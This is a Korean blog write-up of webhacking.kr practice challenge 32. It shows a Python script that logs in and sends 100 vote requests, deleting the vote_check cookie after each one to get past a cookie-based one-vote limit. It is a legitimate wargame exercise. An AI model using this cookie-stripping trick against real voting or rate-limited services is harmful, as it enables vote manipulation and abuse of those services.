[webhacking.kr] 32번 문제 풀이[Cookie]

최대 1 분 소요

💡 Webhacking.kr challenge(old) 32번 문제에 대한 풀이입니다.

문제

image

문제 풀이

자신의 아이디를 100번 클릭하면 됩니다. 이때, 한번 클릭하면 cookie 값으로 vote_check 값이 생겨서 한번 더 클릭하면 다음과 같이 막힙니다.

image

image

파이썬 코드를 이용해서 100번 반복 요청을 보내고, 매 요청 뒤에 vote_check 쿠키를 삭제하도록 했습니다.

  import requests
  def login(session):
      global datas 
      datas = {}
      print(" ------------ login ----------------------")
      datas['id'] = input("webhacking.kr id: ")
      datas['pw'] = input("webhacking.kr pw: ")
      response = session.post("https://webhacking.kr/login.php?login",data=datas)
      if( "<script>location.href='/';</script>" in response.text):
          print("login success : ",datas['id'])
      else:
          print("login Fail")
          exit(0)

  def main():
      session = requests.Session()
      login(session)
      for i in range(100):
          response = session.get("https://webhacking.kr/challenge/code-5/?hit="+datas['id'])
          session.cookies.__delitem__("vote_check")
  

  if __name__=='__main__':
      main()

위의 코드를 실행하고 id, pw를 입력하면 풀립니다.

댓글남기기